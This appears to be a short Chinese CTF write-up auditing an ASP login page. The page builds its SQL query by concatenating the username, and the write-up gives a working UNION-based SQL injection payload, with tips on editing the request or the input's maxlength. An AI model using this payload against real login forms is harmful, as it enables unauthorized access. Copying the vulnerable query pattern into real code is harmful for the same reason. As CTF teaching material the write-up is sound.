ASP代码审计一枚

<%
On Error Resume Next
dim name, pass, sql, action
set conn = server.CreateObject("ADODB.Connection")
conn.open "provider=Microsoft.jet.OLEDB.4.0;Data Source="
    &Server.mappath("******.mdb")
name = request.form("username")
pass = request.form("userpass")
action = request("action")

if action="login" then
 sql = "select * from bdmin where name='" & name & "'"
 set rs=server.CreateObject("adodb.recordset")
 rs.open sql,conn,1,3
 if rs.eof and rs.bof then
   response.write "<center>user or pass error!</center>"
 else
   if StrComp(rs("pass"),pass) = 0 then
   response.write "<center>Great! Key:*********</center>"
   end if
 end if
end if
%>

查看源代码，几个关键点：
sql = "select * from bdmin where name='" & name & "'" //可以看到表名是dbmin

if StrComp(rs("pass"),pass) = 0 then
   response.write "<center>Great! Key:*********</center>"
//判断逻辑是当sql查询的结果中pass字段的值等于输入的pass的值，即返回flag
在判断返回flag逻辑后，通过burpsuite改包，或者firebug修改页面html中maxlength长度，输入联合查询语句即可，

username= ' union select 2，2，2 from bdmin '

password= 2